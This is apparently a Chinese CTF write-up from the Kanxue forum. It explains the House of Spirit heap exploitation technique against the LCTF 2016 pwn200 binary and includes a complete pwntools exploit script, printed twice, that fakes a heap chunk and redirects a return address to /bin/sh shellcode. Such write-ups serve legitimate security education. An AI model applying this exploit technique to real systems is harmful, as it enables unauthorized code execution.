本文为看雪论坛优秀文章
看雪论坛作者ID:直木
利用场景
Free要绕过的检测
LCTF_2016-pwn200
$ file lctf_2016_pwn200
lctf_2016_pwn200: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5a7b9f542c0bf79112b5be3f0198d706cce1bcad, stripped
$ checksec --file=lctf_2016_pwn200
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No Symbols No 0 3 lctf_2016_pwn200
到这的时候,栈空间布局如下:
(1) 输入1 :checkin
(2) 输入2:checkout
1)如果登记,返回已登记字符串,退出函数。
2)如果没有登记,则输入一个数字nbytes,然后新分配一个nbytes大小的堆空间,然后往里输入“money”(nbytes长度)。
能泄漏栈的地址,能覆盖堆指针,能再次free和malloc,满足HOS的利用条件。对应前面的利用场景,如下所示,那么可以在可控2区域输入shellcode,可控1区域开始伪造chunk,然后往chunk输入,覆盖input_money_and_menu函数的返回地址为shellcode的地址,那么menu菜单第3选项退出的时候,input_money_and_menu也会return。
下面进行调试分析,验证一些分析。
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
binary = './lctf_2016_pwn200'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def dbg():
gdb.attach(p)
pause()
#start
# end
p.interactive()
对于money,如果输入0x38位,那么实际输入的会是0x39位,因为read函数也会将'/n'输入到内存中,结果是会覆盖掉dest最低的一个字节,导致不能查看堆信息。
对于id,也是同样如此,输入4位。
payload = 'a'*48
ru('who are u?\n')
s(payload)
p.recvuntil(payload)
# leak main function rbp address
rbp_addr = u64(p.recvn(6).ljust(8, '\x00'))
print(hex(rbp_addr))
# input id
sla('give me your id ~~?','111')
# input money
sla('give me money~',0x37*'b')
# recvive menu
ru('your choice : ')
dbg()
id = 0x6f = 111
def checkin(num, money):
sla('your choice : ', '1')
sla('how long?\n', str(num))
sa(str(num)+'\n',money)
def checkout():
sla('your choice : ','2')
def quit():
sla('choice : ','3')
shellcode = asm(shellcraft.amd64.linux.sh(),arch='amd64')
# input name(shellcode)
payload = ''
payload = payload + shellcode.ljust(0x30)
ru('who are u?\n')
s(payload)
ru(payload)
# leak main function rbp address
rbp_addr = u64(p.recvn(6).ljust(8, '\x00'))
leak("rbp address",rbp_addr)
# get shellcode_addr and fake_chunk_addr
shellcode_addr = rbp_addr - 0x50
fake_chunk_addr = rbp_addr- 0x90
ru('give me your id ~~?\n')
sl('32') # next chunk size
ru('give me money~\n')
# input money(fake chunk)
# padding + prev_size + size + padding + fake_chunk_addr => len = 0x38+0x8
payload = p64(0)*4 + p64(0) + p64(0x41)
payload = payload.ljust(56,'\x00') + p64(fake_chunk_addr)
s(payload)
e. free
checkout()
dbg()
f. 再次malloc并填充数据 # malloc
payload = 'a'*0x18 + p64(shellcode_addr)
payload = payload.ljust(0x30,'\x00')
checkin(0x30,payload)
最后,程序退出时,input_money_and_menu函数就会返回,跳转执行shellcode。
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
ruf = lambda delims, drop=False :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
binary = './lctf_2016_pwn200'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def dbg():
gdb.attach(p)
pause()
def checkin(num, money):
sla('your choice : ', '1')
sla('how long?\n', str(num))
sa(str(num)+'\n',money)
def checkout():
sla('your choice : ','2')
def quit():
sla('choice : ','3')
shellcode = asm(shellcraft.amd64.linux.sh(),arch='amd64')
# input name(shellcode)
payload = ''
payload = payload + shellcode.ljust(0x30)
ru('who are u?\n')
s(payload)
ru(payload)
# leak main function rbp address
rbp_addr = u64(p.recvn(6).ljust(8, '\x00'))
leak("rbp address",rbp_addr)
# get shellcode_addr and fake_chunk_addr
shellcode_addr = rbp_addr - 0x50
fake_chunk_addr = rbp_addr- 0x90
ru('give me your id ~~?\n')
sl('32') # next chunk size
ru('give me money~\n')
# input money(fake chunk)
# padding + prev_size + size + padding + fake_chunk_addr => len = 0x38+0x8
payload = p64(0)*4 + p64(0) + p64(0x41)
payload = payload.ljust(56,'\x00') + p64(fake_chunk_addr)
s(payload)
# dbg()
# free
checkout()
# dbg()
# malloc
payload = 'a'*0x18 + p64(shellcode_addr)
payload = payload.ljust(0x30,'\x00')
checkin(0x30,payload)
#dbg()
# quit
quit()
p.interactive()
参考文献
看雪ID:直木
https://bbs.pediy.com/user-home-830671.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!